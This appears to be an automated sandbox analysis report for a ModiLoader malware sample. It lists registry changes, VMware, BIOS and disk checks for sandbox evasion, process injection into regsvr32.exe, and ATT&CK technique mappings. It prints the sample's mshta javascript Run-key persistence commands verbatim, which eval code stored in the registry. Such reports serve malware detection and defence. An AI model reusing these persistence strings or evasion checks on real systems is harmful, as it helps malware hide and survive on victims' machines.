modiloader | 63c8979bce14d879fbfa7263d37ea4433d7268dde1add2beda5040a52bb0792f

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:dEB5KeV9U=\"WMTv\";T71m=new%20ActiveXObject(\"WScript.Shell\");RRsf55apew=\"NsRM6O9kqa\";iSw93x=T71m.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1c4948ddc4\\\\32a3f375\");YfftK6LS=\"Zp\";eval(iSw93x);WcGufn3lY8=\"j7Blv7gJ2E\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

8 regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Au8btNLW=\"5\";mb19=new%20ActiveXObject(\"WScript.Shell\");mvmf1vxyd=\"meNgp\";Mfc4V=mb19.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1c4948ddc4\\\\32a3f375\");qun1HE0Y=\"N09Lt8LoH\";eval(Mfc4V);A5Xo2YOoq=\"zX8nNnG\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:moKz25khx=\"JGS3\";dI3=new%20ActiveXObject(\"WScript.Shell\");rYOMoci9=\"4a9WInxXmx\";OM18Wr=dI3.RegRead(\"HKCU\\\\software\\\\1c4948ddc4\\\\32a3f375\");YbwDAXJ09=\"5F\";eval(OM18Wr);aZK5XO5LL=\"Rrc6\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exe

pid	process
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

b40e7591d3334624579042161dbaeacb_JaffaCakes118.exeregsvr32.exeregsvr32.exe

pid	process
3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
1212	regsvr32.exe
1212	regsvr32.exe
1212	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe
8	regsvr32.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

Processes:

b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe

description	pid	process
Token: SeShutdownPrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeCreatePagefilePrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeShutdownPrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeCreatePagefilePrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeShutdownPrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeCreatePagefilePrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeShutdownPrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeCreatePagefilePrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeShutdownPrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Token: SeCreatePagefilePrivilege	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

b40e7591d3334624579042161dbaeacb_JaffaCakes118.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 3788 wrote to memory of 1212	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe	regsvr32.exe
PID 3788 wrote to memory of 1212	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe	regsvr32.exe
PID 3788 wrote to memory of 1212	3788	b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe	regsvr32.exe
PID 1212 wrote to memory of 8	1212	regsvr32.exe	regsvr32.exe
PID 1212 wrote to memory of 8	1212	regsvr32.exe	regsvr32.exe
PID 1212 wrote to memory of 8	1212	regsvr32.exe	regsvr32.exe
PID 8 wrote to memory of 3532	8	regsvr32.exe	regsvr32.exe
PID 8 wrote to memory of 3532	8	regsvr32.exe	regsvr32.exe
PID 8 wrote to memory of 3532	8	regsvr32.exe	regsvr32.exe
PID 8 wrote to memory of 4256	8	regsvr32.exe	regsvr32.exe
PID 8 wrote to memory of 4256	8	regsvr32.exe	regsvr32.exe
PID 8 wrote to memory of 4256	8	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3788

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:8

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:3532

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:4256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion